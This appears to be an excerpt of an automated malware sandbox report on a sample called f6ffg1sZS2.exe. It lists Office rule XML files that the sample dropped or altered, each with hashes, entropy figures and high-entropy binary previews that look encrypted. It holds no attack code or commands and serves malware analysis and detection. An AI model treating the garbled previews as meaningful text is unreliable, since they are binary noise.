Preview:	<?xml.M:.k.\3=...t.(6.....J)q.. .?...z.\|dc!.7..u.A.X8......Y.~,.%:u.......M..{..f..M.8.1s.B1......).N...J....@}G.....Z...... .H4.]?..../6.P....Z...9hS)x.}......@. ;s...R..R...=tF......q.o.n. .U'.k.9....I.G+.d.=....-...qmH...v......l....f, . .r.n..#8..6.n.)mx..........X..?....T....3Pe.....{8]....t...=.8...9.I}..C].........jj..k.........4..../n....U5.kKZ}y.=~...56.n..W4.1..9..Q.Aq.........$..g.Hl.$?R.....IoIz5..j.}..6H.bg .....B.,i!....X.S..; .Z..6~l....6..4.9.9...\|......c...5+Q. ...P.2..LBW..6g.... .9..Y.[8-....Mjk.G./O..+....I..z...:`.C.'.........=."..l\|Gv.kk..q..&.C-y@V.D....F%_..9..)..j...[...g.6..0..a.!!...`..S..n~d..3....{.Q'..X.dm..F..U..qz..v.......^y.]......<.V...h..W./?.....\|e.'f...E..O.....g.(..+`.H.8.#...).H2..'7!........_.<.0C.d2.g..)..2...J..I.m...K.........7N....H...C.F..Z3C.'.$4.y-..a.V..yj..Q^...;............[.=.........M.Qb+.....g...X../m.B.a....#...W)....0[P.$.'S....]..f.."dP...S......4..;......."s.R..p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879702347272639
Encrypted:	false
SSDEEP:	48:sZzJoEafq5n974PlHUhWNXYz/+f59WXBvzvI6P4D:4zSEaLH6/+9WXBLVPk
MD5:	0B401848EB2C75AF872A368375335D1C
SHA1:	9E0633A4E8AEE44A13F4F0E74B6C4628358863D1
SHA-256:	956C99DC2009C9645AC34454FA7289397ECACE96FCF49B64E746C53610A79CDA
SHA-512:	93291D1C2B055CD3877179B224BA8AEE1F37D629F439E9B771DC1DE747A5699286EF6E897388B6902B3A9B40170DAE97F951BB7A1B971F020C35F956A642FAEB
Malicious:	false
Preview:	<?xml..#..,E..z......P.(...3.}od\|H....&.k..........p.?Z&........u.[B.J`~....... ...-r..H9.Q.w:.Un2`g.....>../.am.q&...:...y.,.}..K[...r....$O....i...}9.`............~/..T/kJ.t/.9P.....Y.p........[.V.........N.3G\|....[......(lO.....u..5.<...f.y..B..Ql.N.L.PW.6..\|.m...W.}.A.;iS?.Ek...&..`WqwK...tI....I1NV~.S=......e_....hJZ..o...4?:.J.o[%.JR.e..Bw9..BV.]..........M.po_H..,p.d...."..V....S.#.W..Z..=d.V.... .X..<.J-+T.I.y._N...(.Z...,.Z.k.O....&.kV.f.R...........%.~q.v...&..CwK.D...C....8.og..^.Jt9z..T\,...0>..0p.bLc'....7...L./..q~X.4..@2I...{.....8.Go.6.".....xH...E;...n_..'2.3.m..F.......<..D....E\|...7>[....\|......p...(...\|.rG..#...}bxl@.V...,..@..z..^.B.9u..t.7.7.xEU...i,..ie.`i2...%...........M.....C.&..v8.m9....b2.........4C.\|_.....%.....C...}...8Db.....J..o..;80.........,.R..-a..e.u..p...c.Fl..F..~..!oS.-.).....t..tZ;....q.$.<.....l...+y$...@f.\.Xo'.G.....X..g..p..{.*..E.)"......9.>...e...z..I.Tn^........B.J.H/\d.]R.:6Pn.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.892648813539258
Encrypted:	false
SSDEEP:	48:Q7kNrThUouUN50XPrpUt0t0CRV/I52P9kfrD:wkNfhUouUNmDGBeE2P9+
MD5:	48823AA139A7CF7A7C3C744506AC8600
SHA1:	DCD38F0D1A6ED69104DCA784497A4B689A9500BC
SHA-256:	695D8B78319DB78ECF24C1A7256527B6C09E3CD6845BAC263EC2C02B88281790
SHA-512:	9CBF8E5D40C7E1FEDB9560D22CF6DCEA2A774A2BB35E416539F01229403C7B45BDB62BE4CAD0F4CB27F9C133FB4A175EDF6856ECA53E31AA12B473A1660D1007
Malicious:	false
Preview:	<?xmlL..zV.v.Q.-..qa...A...6...PR`..R...c.."W.k.a'6/.......%.}.....I._2.(...-f...}.(B..$.5.r...Ww....{...)v.......V.7...^..i.e...(.8!..whU..B.6N_..H.4..y.B..5z..~.f.~=...~^......\|....Db.H..g.".+\).2..>.j.{....~..E9&w(._. ..\|...s....b.A.:.f.....B.....O....EA~.c.;......:?......A.....-u(..!7T+._.fDq0....}..'...-..t.G.5;'...v\....x.....^.#I..j...<YJ.q.......lx.Z..Qm4,....).....R.i....J=.!=.d$..;..3.8$ .f(P..5...V....f..H..CO..O..0..eb6MC...R.l5...E99.(&;@....b.\|K;L?..C...".6......;l....Q7...nK..;..?...o..S.}...@........5..U..mw.R....j.S...d:....qrI+s.......d...7.TS.n...(-.V....g.F....^.2...2H.s.Y.........p^.K....'..#..l.$-....c.T.2...-}.X.....tI.U....}G.X..........H...P}.B..?.......h..%. b...T..\|.....I...E.ZI.sB...].....0E$N.T..Fp.....V..l...G..&....x......^..uWX.....v....j..O.{......j.B....M.....R"G........\|..s@..zH.c..>...S2.....@...+i...x...5A0...6;...1.3b%U. .....::..AH.[...[.^.S....0.Z8.dq...Hy......!.....V.+b....i0{N.!.z%.J...{v..F.O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879355934958023
Encrypted:	false
SSDEEP:	24:mVYdPhEHK/0/FekCifi5neCiSDk+Slr0siiHR8Un/E0TbVCnh/BJCnoK43/zbD:1PhCK/AJB8eCiSIllobirn/rTbC/3vD
MD5:	269E11FBC6ED2C7968E5082AA4448BC6
SHA1:	15D25E7AD5C4AB89E299E9C8280BD5A7A1A7577F
SHA-256:	D8D609ACEBBEF9ABDE15B8890A4C76290A9672B6342C19F6CF7E1CACA1D5F457
SHA-512:	0F79FC41BF0FE14B9C124FA64397EC9B4ADC21B500029D3E8402BB96BA9C0590F659CBB55E4AD55ECB41B61DE2CB08188B57255276368580134F4A64AD3D2EB9
Malicious:	false
Preview:	<?xml..S.....u.:&...V.Z[B.....C..\|~.r.H.\|fL[.&.."...^.M.Ke..o.........6..:R3xw...G...;_.. .7.^....j...~..........."..p...q.......}.H..3.\F.!..S8...]P...'o4..P<U[..)spC.3..T...5W5d...l.&...F.f\|.....&..6~.0T...T`.......N(8...Np.A;#.>%..^.M.U..T[5.b.Q...&....6...s...^.C.....j....u.......32m...^..z.c.?%\|<...4.4.[....)V.4...A=...Fg..-.4....o....Z........^......-..).T..x.R.bRAw.z.5....C.\|mF..`........>..oG....y^tbp.R._h..........9..8...>.A........>V\|F..2.2....paD.m...#.$..{...K .[..p+....<....e.].A..mtz........J..z]5A.CS.f.+.!\..L.B5....WJ.h._...'A..`.{.N`K...4....c....6eRE4..W.+J.?..[...x..C..8......jgO....;+.2.........a1.K..fV.!...H...<..0....E...Z...S.*.7.l.kJ........3..........".p.../Put<..u.)]#.8...i.d.....I...E.>F.y....x.0%..u...,..FRH.BY\|.....m...yL.XJYV..xm.Nt...U8G..D.r...pV0.T....+.G...."...."%FX......l.....N.&.8h...a...... S...J..Jf4..2...h...{..........6.{....rx....g......B)./..Y +.....!....l.SU.Q..Y..g..u....x.d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.886804155153314
Encrypted:	false
SSDEEP:	24:o/tnzlcboLQdv7umsx74KA7MYJ3jcH8rt2mnojC0x4BY1JjDuEphAspJbD:CtzuMLkq574KA7Mk328Fo25YbDnAYD
MD5:	4EBA720D4A010CA29FFC2637FE7C7327
SHA1:	B6BA9B27654D5134CCAC5253063A655B685D69A2
SHA-256:	A6B30357B4FBD00A11157708601041DC950F990722CD0D94D8353EACD1BBCF79
SHA-512:	8580690E963545189CC318F16F0D587DAC9A89422CF61ED61736BDE762A13954C4151494EAE672A62F3FEC870F4B3C23F0FA3E6FD6A033557ED7F63B7382BDE0
Malicious:	false
Preview:	<?xml..O.....6.....z......^..F......S.gJ#...bo....o.........'Ag),4.s.;.....o......E5.I.'rJ..UE.}u.....(.7Dw....bpc..(%D-o...%F.......?.......f..nF. .......P........Oj6/.zlv......p[\|y....,.Du.-.....yM.y..LQm.c ...V%.........R/.......ne....$y.....{.....j............V4.KV....!'cp.Ce7.B...+.......f........p..O2..E^2$....)v.u..{A..0z-.m..(..r.B..d.........g.(o.k..,.2.~=.....[VW.....m(.y.s.....5......^H.d.-.Zi....f.i.U.Fo.)......'M......Q.....@.y..w.F7...S.........{.u.......X.Y%c......A.v.:.K..S..^.."V.tZb3.P....c..>H.J...a.............oXk6.aJ........{\|......R..u..&B....@5.6.H....%+t.....CJ.}..O=.{.MK.z9..f..>....>.....g....Nz."..(w...8..........h......{../<..C,O.7..X.+.#z._.1m.)0..K.K...IW.`.~5........\|3....<....N.:....[.Q.Ul..s..."nM(.q[O..41..n*20.."....u7:...b,7k.pz..9..B...}. ..h.)ky...p......YNTM..H.....F...............Y...L.,...TNv[.84..6x......?....wZ......XW.Ix..d.O..0..\Am..$k...{.....].'.o.2........K...8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.895023686996684
Encrypted:	false
SSDEEP:	48:i38wCxDA1q+FJwGKeZUr8+Vg7//KC9aEdx4L31hgD:sGs1PeG1ZUw+VAyKvM8
MD5:	7AEE57688B3AE10F638BF6D016CD3A2A
SHA1:	6A3BED8A026D8F346981DEBB489E4DBA989B14F2
SHA-256:	8F49313B41640884ABA40776AFFA6D2DEFADE088B7023191FDD16236D41B52C2
SHA-512:	9584C279AEF5E3A3B9B3BF14DF29F1E8DA61329FF03837EC98CED6EC2366C1405E89D2D07413E18C1B66011F695AF068DDD91726278472A9EA4D4E479EAEF281
Malicious:	false
Preview:	<?xml..:o..QMp.`dB....E...d........?..Kq.n..;eG.Y(..c.....0.......Mq.....M...7...........1..n.yic_.L...'.k.sbu<.."..,\|...$.vm..c.@p...).Q....=..+X..m..zz%'....;%...a:C.W.Q...@.t&\|u...h.T. ._.x.#.9hr.u`...s.I...^..7U.4+4....... .@..?..6.v..f.F.\|..B.....d.c.A.@.qk.^.N.)/O.D.....h.O..$.....E..V...)".w.,.I.^<>`.h..).j..t.\|..ix.......[.$U.:]...af.[....4.3.b.)H.B...kk`...5....<q.....=..].....4..W....1..3A.....)....z.`/..;...c.a..b....z...A..&.....y ..x....."..gQ.....p...%...[. .>....Y....w..3.........uz!..L..=-q..\|s>q.\....%....^..X...S.... J.C..0'4k..NA.......2B+..1..xR...J.4.q..I...7.6.......e7..=...w.lp.K^4.7.....,..m\.dz........E=......h..,...L..z....2....Y.V..2<.....5..lhQ......L.v.V^r...:...?.....k....S.e..}a..}f.0=L.........{..6.o.T..9..f..).].....Wi.).x..P.~.VkU......2=..N......;...(..8\|....`J...r?. .O./v..G`..U.....F.<..)..0.4...... \|rA.2 ..t....^......<..wl..i..x.....2..QB+..t.P,......$... ).s'..{#o.m.G..@. W.o...\|ea.+.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.863169323919979
Encrypted:	false
SSDEEP:	48:gaN+CLadCuZP0TEveXSo24fQWiWBq4ZPDObTYXD:X+CuN0MXWYbTYT
MD5:	93EE8D6FD247DD880168166D02A98BC7
SHA1:	587CA92499609B13F2299F5B37A3824B3682CDCC
SHA-256:	5E41D987504B8EE165EE1DDB6F5EDD69AC50A3E41A7E349AB2AE1D95C56C9E1C
SHA-512:	71586E58D097A2C585889A29897A19D6611C3E7D7628A832DCDEF54FC31551FF3D5267328A6010AE2D191186F9C68E1E443464B04E162FD9FB44BF1D4BD7BCE8
Malicious:	false
Preview:	<?xml...bgE..\..<....T.......;.Z$)....<^<<..g...<u..w.h..FH..U.X..B.z.......\u......Y.z...u.?..GC..GF..pZ..".z.g.....'..8........9..!iT.......Z..g....D7.$..Wf9cCI6...y.S.....YS....c.&..S....\|...uO.G..Z..l.2.'..@`U..S>~....~#...e.....H.6<.LS......pVtU..Y.._...`....~\|p>.8b..<.......R....L..8.I.,p..a..d@7QV.>........T.<c.\.......9...y U<E.k.8..".......Z...A.....4O.q.t...]..E.....Y..&....lv...p..>...s...%.%".lZ#+.....x!.#[......!r...W..L.)/.C... ...l.....%I]..X....U.......i.....5K.M....\|..Q+...4.....b...m......$.....I...k.R.=..Z.8.O\.^..i...O...-<..._X.]6..H...@n.qv...8....w&..\|l{......F.8.hz..0....\.w4.ge..i..P.mSA..........H...n...A...LhDcnyU.5..\|.N_.:.z.........t.(.0.......e.A..#.A....i..@.g:a....V1.s..\|m....+kW).....%K..16Z..6P.b...7..`....s....1.[ ....JNGx.f.(.b.eR'..8^aQ.}..c mx..N..BVv.z.nn.<....A.......3.......9........\....u.^.....J...H..7g..._Og..f@........n.....^3"..B..r.Om.F.^.....,..G_..O....O..{.K. ..:.-F..s{.....9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515359308769821
Encrypted:	false
SSDEEP:	3072:5weC/HyhiJ/VlzMOlBCGAZ1hQkquB6Pz32Jt9C1v+N+veLogMZXrZ9E:nCqhiXoZ1hbkapClk+vWJQZ9E
MD5:	00B655682231D97722814D9B85AEC816
SHA1:	0654A69C554A215DCAC70EECB003C3B06BC4592D
SHA-256:	797B877CE4E4B216EE899329096E1B2D44122CD875AB458930E76AC31D345DD1
SHA-512:	4876F50A0193524CBE5336B55EBDA7540FC8BC6B7B9E02FDEDA3045B0985177D3611E6C45D6A14EAE0F8633C1356D6ED2A3E675134D786CA1F67535EFC903F5D
Malicious:	false
Preview:	<Rule.?r./.Of.MW..t.._@.Wz$..i.x....K6`....X.8&....N)......^a.H.J.0.......WV^........2.E>..MG.....}....swP....s.L..F...&.....r..g.D..-..c.t.J.G..........[o..d...6A...(.H...{...V....5.....3W..F...Y%f@.P.C6..o.=\.9m..x"...Y.fr...Zk...Xh?h...%...Q....EBx.2f....4d"....>c.e.@....fTN.W...d..wJ.o..q.....~.o.U....KD=ya.g.Hz..[..........XZ.f..{?...........'.}.h.\8.'8.k?..4...d.HX. .....X&...}..W_3._N.f..o....\..)5.1..Q..s)....YscH.C.l.\|..{...:.....mF.K.r^..R..#},.}..qz..T......W.Q......}.,bA.....Nn...D....I..:..s.tC!......f...7.C.J5.7&.1.).f...S.....>...=R.s..;.R....q......"..f..0......Y....{4.D.+%....p........\'.b.",i.....A.....,.>z.xO........i.3....?..`ia.5b(.Q....h..$.E.%.~..(L-.....3'...x..%..@x....5W3....3.I..Z.Y.p.^.`..B...].~.Cq]1.Nga......Q.n....VxU?.....H&.;..t...T..\|....=....IZjRZ.q...,....),e..Z..4BX..&..s;..7....g.........-.L...=..<+...C.=C.~P3)@_....N..N..&...Nh\|=.<.).oef...vd.@.......J.q..Z.......7..sO.......B8u..v.......WCt..GZ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.877189007482055
Encrypted:	false
SSDEEP:	48:8q1ST6E/5S3/U69I0waLzIucrXiMsCDQ6D:8q1ST6ES/gfaLznOXtsSQS
MD5:	6E76ABD92E01F2A7DED95943052FC506
SHA1:	5B03A00B4AE8C25715114240507ECC1C7DF8DC57
SHA-256:	7A7487F361ED70C303A9493A0A1EBFD3B22C45B3261D525061351365191D731B
SHA-512:	7FB3D3E64A50D2E055A379B5DC1A5494F6057FABC07867CF5DCB8C8C6A0A479D1584CA93CF9D0479FB910EA23E3D9DE570B94C263DAB82CA11507E530FA5ED5E
Malicious:	false
Preview:	.<?.]8.n..8..T.........p..+&...........1.fs..j.s.0..<;..=s.M6K..}0..H.e...............`Nq.wn.).........d.Y.djyb.Sv.$..@%.\|,6..U.Hev.t>.K..].c...5...J+.u.6.W.{.!......&4....U..~o:.....@.9u.<#...s'......P.........\.0\|X..1~E.1W.R....,..<@..m{..#...C.......n..;....'..^..g.C.n..\|.m.}..L....}...X..J..L.....M.W.. yb.._f.....d@i1....8.u)9Q..3FV.f.........y..Ya..3KT.........7..}hs..Z.$.^Fl..N.,..n......l<...z\..C....p..D.Y............~4........4...............U....t.U. ...n-.w.8.AA.n)L..Y..N.+..%d....Op@.....u..V-..........,..Z)...A.!.W;%.g@.AeG...S)..G.s.c_...Ot......x.d.<..i`8'...RB./.Y..&G.G.s.C...{..!R. ......^p.}2.z...6nd...H....... .y5t....zO.4.....#.....K.n.y...(Rm...LSM.#-.f.~..W.m.F....Rtj.V.CFR?>...`.nQ.. .......z26..Z.u..Su#.........zYIc-..?).7..a...(..Y5....(.(...w.r...9..qh..+.\..l"..7J..F....G.O.....*lI.h.sGp......=.......u.....-F..0C..#I.........0..mb..y.L.c'...'....I....i..i.X{<xd`.02......8.....p:....z.)..V8.,..g..s44

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.876130429364272
Encrypted:	false
SSDEEP:	48:DIfRqXFMX0+iHEkQYlGtsoNAiXHGcAux63EBpD:D+RqVGxiHEkqINP0BB
MD5:	765CED8545426558C3BFC100BA0651D9
SHA1:	28F86D396A5DD15EBEBEDE1C8CE8AF7C3F1526D7
SHA-256:	C340E7E68A77D8078A57C7E837E46E0DE544D2B745D3437B5BC981DEF5AACDD8
SHA-512:	4D29C995374992D79426F597A4939A63230E0ECB8104DCC899D875A14A5CAB9187A4433D5A507D7866DD143C7362A7D5D82428DC1EE67DD060FE3BF59A54E7D1
Malicious:	false
Preview:	.<?ks.F.59kh.....}m...'.Oc.:....Sa...S.=...=....oL...8.)...4m.'..k.v.j.=_.s%.@.>.....Z...:....P>+.........l.&.....B)m.. .]....Wb;..."..}.....1x.+.K...)/....(..T.X^E7).../..{x..8.....`.H.....T..= ..3to...[j.J.@.Z:.k....^....US=.\..2....0A....E.x...n..%..<S.Sf v.Km.a....(..."...l..B[s..#_...+......2j._&!B.-v...o.h.......(.p..Er.e..Q,.........Y...2.M./x.`..K.D.o9g....._.0.F7..F.sN)......c.c.. ?..";&..$X+.....U.+.=.'jq.F.3.^1<&...G..!......e.OU.:....MPMQh..x'..]..+O..2X..,_.U.>6.\.l..Z....'kSd.g.y..BY}.....)K.....V..3.....2.\ 9(#,WC...5x<{.<.WK.......x\.#.I...\%&f<_evfK$..]. ..n[BTh.%p..xZmfoer..Qn..m>=..D..5..;.aXt-...Cd.>0.....V.....?.@..~.2..........S..2.C0n`....v...$..y..9G...CN.....r.kd..rZ.J.7A..0..^.2..u......L&.z.`..v}3.o.`.....~A.z..D.mXe..1.F........HP3..3.../..EQ>Iq...zP.uV....h.rTe.G.s\|.Z..x.I...!......R..1....}.....?I...S>...31....'...3...U1..l(...9.R..qu[M.`H.#n...A.=.,p.....U.............E.5.o.\|...U.+.X...D......j7....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.873710952687039
Encrypted:	false
SSDEEP:	48:m1P5xV8MNmEViZ/RjfDKX8b+04zHisiznHgZCD:YxV8CiZZjfDS8kzRiznHgZK
MD5:	19954C09FF1F9B9C6EC31820B4F142E8
SHA1:	007EBA0EA047D329CBA5799F62527B3D1C3D61B4
SHA-256:	BAE3475077969714F6DA0E0109E9FF5BBDA49E18C08FC31E520048E7E0EA2050
SHA-512:	DDE01582549877F2E95C8461FF990C3DBBA8036380D55A833B1BBA314EA3698C79D7CBAF9D3ACB6EEE8C19372D62CBC73D0DCF45A61EFA232D9D00A830AD5717
Malicious:	false
Preview:	.<?P\|.9...lf..../.....}Y...M..Y?..kz..T...../...(=....b..-".N....fF...w...N.Ny.m...E28...?........e..Kf.2.......@iI.k\|~M.>..Gqwn\|: .~..oy.M.9...P..V..G.ui.6...o..y..=..]}{..Aw.............C...w.G...E.Aq\|.3....\..X...(l.DA...E..Z%..<.....uT.s..!./...\......D.m..Y.'..v...I..].B.....q..%..)....<...8..M:..:Z^L...];.ey.h.K..e.E.:Z..#.p.\..z...s..\|....E.&.........u;X...@..........3.p.5f...X..vVc,.......bE..5......7...~u.....cX..'....U..p...._.G0A^.G.S..".6...W.C.Z....ULl..0.C..N.F....t....S.........UF...J.h....o.<.... .Lhj....../4.\|.....n`A/...Yf.J...9....:R....j8{.S...._.u.o'..k..f.....)..q..t...V@.?.U...F..+..,......z........Nr..O.0.%tF.kvK....[.t\|Xqf.Q..,..!m..........Q..SI...$..Is.vJ'a...[I.#.'.>P.4;7......6...V5..G..........R.>.....kA....7...}B.2.W.R.q..r......\6.`.F..m.......{..<.D....}...z7..\|3.w.&U....q}[5.....Q,.ggz.kg.*..H#.......s.1...{e.T.^....Rb.q.O.g.?..!..6!..-...O...Xy...~S1...RuyG...]T..>.-_.d..m...i.78.jb.I'..4x>.....b..C"O..6.PG>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.882013413064929
Encrypted:	false
SSDEEP:	48:oRDCu1ILJAXyvIwKeyp9T8K7+Yfm+BuCHD:ru1uJIyB817+YfHBj
MD5:	2BDFB126FF7D72FC735C6544AC7110D1
SHA1:	E07FE695102CE9CBA484A1FBEA88A7E0C0BA221B
SHA-256:	AA8705E0458674EDEDF55A517CD8D4AB51C1039AB80347622CE191146E81C106
SHA-512:	B75900D3FB426151835DB526A7271130ACAF8AF5D91D3F6232CD532466F24DA02296C2671168A09E03262961A16B4B4C6C25489D37EA7A8C8F626239FBECBBF2
Malicious:	false
Preview:	.<??Q&....o[./......#.W......-..n....]w..}D.I.P.h...4.!.V.......YPH...Go.a........~6.}.}._...../e.l[H...x+....{.w\......m...HtPn..?....\|..%.........n...a.M6.b.:p..n...n.4.v..B:-.f..4D]...&{..t...;..zO..NL..S<..A...o.H%.f..."....{...(#......(.K.....4d...,....."....uoz.u.]AJ4.......i4...?l...E..#f.lX..Q.r...}.b;_..F.$..........}...>...m:...Ibf....2.u.;[..B..Y+.L7M.z.). R.`...s.n.F...0......cIn...........v$.@<..(...QW<.....@.U.u........@.S8.8....PIlD0U...q..^s...&.)c.{v8.....F..L^...;..gbg'..8.B.%].n..G..8..I....9%U.9.&.Q...\I..%..O....p..WHal.0.`s..J..o.......kt....W.6........}D @..\.>.W....MJ_k.....<.....^...`.>....j!....5.Q....J0).9.kJ....N.>.,.:...$....Men....:.s...a!4.Sju.6.ceW./!...7..9.%.q..#%tse...].l.....,_.ML.........S`93.S\|.y.ON..R..yV.......<..]..`a.h%...\|...Hg.+.....s".I\|.\.A.V.(...s..9.(B1....M....n&l$..:M.F.A.... k.X...B}E.....W.......{^....yO5.-.LQ.z.Uh j.....Qk#....X.b......2w,D&.2.....U.....]6......`...h...KwX..-W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.890350606228307
Encrypted:	false
SSDEEP:	48:uZa67EUwW7ld8BEOvlChlMCBULEoLkBALD:uBTJGBRlKlMXLE1Ba
MD5:	E16716E042E160159C2EFE99A1F02B9F
SHA1:	C80001DBC6521BC19EF8D2E67F8820CCA5499F0D
SHA-256:	B546E3485EEC2D9F17558F196EAB3A4C72A3DFFEA0B771D523618AA7F2EC49C6
SHA-512:	BAD6D6C63C6622108C14688CC1161571068CD674F1F44351E2BCFC6BA2D3529768D04D977DD882618A45B56DDBD2C15177FEC0E244C1A98B9A5F9D2927E25D5F
Malicious:	false
Preview:	.<?v.o...5.V[......[.............S.....v_..Sfs........(.j.......G..h9.Qm.5...y.....]..,l....'...../O....[q.IN.....X....'....`.%../v.F.r=.^r.%.-......Jh....^r..Z.-.;...-..n.k..c.-.Rkw..\......8[..C..A.d.q..-...eR..8H..\.(6.b..{.5.....OOBjU...-....V..8....L..B..;7.%....V............?U..'y0y5.{.i...X..H....Sp!D..:.a'g..`.l.L....=.3.L..R...R.l.XN...-.......n.....Y....+.j.1..2..%.......g..s..o.A.....V.QEc.....l.D.J...]..o....v\..E/...{...0$.~!..rdG.2..TU...`...7..L\|rH...@Q$..o.#.g..Z........z...,..F.W..a?.}........@o.fk.W...G..3.3.H`..>uxs.....,<H(.......a~.......l.O.....X<_..9\|a.D...H.X\|..P+d{..s.Q...sj"..]myA.......V..\s.....I7D}..A]...79.D..T8....6.... .+...}.7.q.<[v.>W.....'...i.tm.......A.^.I..iM.=O..".i..v...PUC%.g.+.4.I.{Y.G..v..{3.B...z.A...S.<...?...........>.ho...4.U .H..#.:t.....VU..}.<H..O..ZCy..^...>..M..)...A....[...:..}.......C.y..8".......G5 "...e.s.}{..i[...!.\|.?..gCg@....V.Y.2..$.U.Xn..W..L.#29.d.....[.....+yDy/.....&D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.8731999099551
Encrypted:	false
SSDEEP:	48:UPzn6iPoW1qqk2lEevP7t6RrMbLkZJLa8D:UPT6HWQq5NvkGL8JLa4
MD5:	67E1BC95E994F08DD4AC7B70FAD1729B
SHA1:	86068E3128667731A388B0FC017B61697C10200B
SHA-256:	15A668880E4007C300E6525B8A32B52A89D48E76A9B2CA4118B8780B684D28DC
SHA-512:	8684C87C86E22E830F1F638F1B02CCE9092A9480C1823C7B0350FF260D853597B662F63E1BEB756C6249B965A76AE2A3928DA9D54003A452DBBB41ED333AF73D
Malicious:	false
Preview:	.<?mD.;A.{.......mAW?...)y.P.-......BL@.`./-[.{.......v./.D]..3..=9.ka.F.....KT...=...ox'SB.\|LP.q.<<G....3.g....N.Q..R......a!Y..4.....MX.................K....R...;[.Wv>...2 E..sAS.(....Lj.h5.SOQi`.jP.v..N.p0. }=N.j.;...X.DU"pv+S........"#...S;e.!B.....VI.+...@Om..ts.(jw......n'~....1....Q..=.IuB..rKGL...{m.C..N}a...l...Y>..t..a.R%...T........#..@Qx#.i.....!.....}Zz.......^!...$.Q.3.P...s.....L.nG.....%lZ..Y.~.>-c.D#.r.Pw..K>8.R......Y...=....\.0.\|Qw..i.&..y.....6...(P.T.......WC.\|...e.I......P..?.8k...o4...B.j. 9{O.,..m.L..,..~..r..P.....T...6T.vCCC.........j.....w......J]..:v.1.u.......HLX.RHr._W.?..,e..q".)...e_..$J...._.}.......ur....Q.y.B5/qy}...-..N..y...H...7....:./.`.(..^...^4+.s.W.7R...s......`.....=.x.......;z,...a)..9.W..0.o......4.<..}..5.eB.cew.r.n=,...:...H.H..u..ajr..o863.5..\|...d=[[.r{WS.FB.............a.w=..v.5.65.{w...@Z..g..CkS7.S.3...I..y">.B ..jQR1..3y\.%;.a..,...+W.e.$@.?R\...g....9p.....r...44....m.W*m..)..q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.897993351312441
Encrypted:	false
SSDEEP:	48:fp8NoJb24OLNMUcB+vAV/mOTK/0u/JkNBgp7oD:f2VLZtYIn/hQE70
MD5:	03D2199AEA87766A927BCC3D2667C305
SHA1:	21B2DEEF1488B86D8C9B00B5CEF6BFE8B05875B1
SHA-256:	1A804F96B10A1D202CC0A69D325EE02E78B70A0964293B072B7DE12166BD95F9
SHA-512:	3F20CA8D3F8109E141CF2B940F46BB62346CFF814303D8CB080CEB2A0683C168B4A7503B247E6C5E763DF1BC09DCBE43C33A24AED13ED86012C87044AE5B0403
Malicious:	false
